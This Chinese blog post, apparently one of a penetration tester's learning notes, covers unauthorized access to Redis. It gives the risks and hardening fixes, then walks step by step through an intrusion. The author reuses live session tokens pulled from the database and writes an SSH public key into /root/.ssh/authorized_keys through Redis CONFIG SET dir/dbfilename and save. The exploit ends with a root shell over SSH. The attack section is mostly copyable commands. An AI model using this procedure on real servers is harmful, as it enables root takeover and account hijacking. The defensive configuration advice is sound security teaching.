巴扎嘿的入行笔记(渗透测试工程师)(十)-Redis未授权访问

作者:巴扎嘿啦啦啦 | 发布时间:

相关声明

本文内容仅为技术科普,请勿用于非法用途。概不负责,一切后果由用户自行承担。

老生常谈的漏洞了,危害严重又总会有,本来俺想写oauth2认证漏洞的,刚好项目上遇上了就写一下,直接就上大家能抄的

漏洞名称:Redis未授权访问

漏洞级别:严重

漏洞URL:外比巴卜

漏洞风险:攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,可以恶意执行flushall来清空所有数据。攻击者也可已通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,攻击者还可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,对该系统的主要危害是可以通过数据库的usertoken直接进行登录其他账户,不需要解密数据库中加密的密码。

漏洞描述:Redis是一个开源的使用ANSI C语言编写的数据库。从2010年3月15日起,Redis因配置不当可以未授权访问,攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,严重时可导致系统权限丢失。

解决方案:

1、为 Redis 添加密码验证(重启Redis才能生效)

修改 redis.conf 文件,添加

requirepass 强密码

(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

2、禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1(修改后只有本机才能访问Redis,也可以指定访问源IP访问Redis,在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。)

 

第一步端口探测发现16379端口是redis,然后直接连接试试,我windows用的是RedisDesktopManager,如果是kali直接redis-cli就行

7269932fdd110703

连上了未授权定了,然后看看表里有啥,有个user但是user里的内容都是做了脱敏的,关键密码手机号啥的都是*****,这个数据库里还有个usertoken,看看能不能直接用(这个token是实时变化的,就是有用户登录就会把临时生成的token存进来)

b324542087111056

ok确实可以用,运气好找个user里isadmin:true的账号的token试试,结果有个管理员每次我找到他的token的时候他就退出登录了,难搞

最后最关键的redis就是getshell(前提是你的redis是root权限)

kali启动,因为是昨天下载的最新的镜像暂时没有redis,还得安装一下

wget http://download.redis.io/redis-stable.tar.gz

539f7fc107111521

tar -zxvf redis-stable.tar.gz

 

8fccd3bd9f111553

cd redis-stable

make

c81a05a809111628

将redis-stable/src/redis-cli 复制到user/local/bin之下(相当于windows加命令到环境变量)

sudo cp redis-cli /usr/local/bin/

然后就可以调用了redis-cli了

b62bc6b55a111708

ssh-keygen -t rsa生成rsa秘钥(一路回车即可)

b8fad81aac112002

存放到.ssh路径下了。Cd .ssh发现没有这个目录

6a878d7179112044

Ls-la

 

 

a0b0502590112549

发现.ssh是-rw------开头不是d不是个文件目录

Rm-rf .ssh 删除目录重新创建rsa就好了,

进了.ssh目录,然后

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

a187307f3f112929

ok1.txt有了,cat 1.txt | ./redis-cli -h 目标靶机IP -x set xxxxxxx把1.txt写入靶机这个set xxxxx是配备一个标识字符串(个人理解)xxx可以替换成任何字符串,但是是唯一标识符就意味着这个标识符如果和别的ip送进去就会失败,结果返回ok就行,忘记截图了

redis-cli -h 目标ip -p 端口连进去之后CONFIG GET dir 查看一下dir的东西,很重要一定要截图,之后需要还原过来,同理CONFIG GET dbfilename,一定记得截图这两步

e9ccb89d5a113946

dbfilename同理我就不截图了

然后改名把dir下面的那个改成root/.ssh 把dbfilename下面那个改成authorized_key

CONFIG SET dir /root/.ssh

CONFIG SET dbfilename authorized_keys

CONFIG GET dbfilename,CONFIG GET dir再次查看更改成功了吗

save

 

96859b8e79114444

ok最后一一步就可以sshgetshell了ssh root@ip就进去了

2a31049d24114731

参考:

https://www.cnblogs.com/jiecoll/p/13790618.html

https://baijiahao.baidu.com/s?id=1716023524607857826&wfr=spider&for=pc

 

 

 

标签:漏洞分享, 学习笔记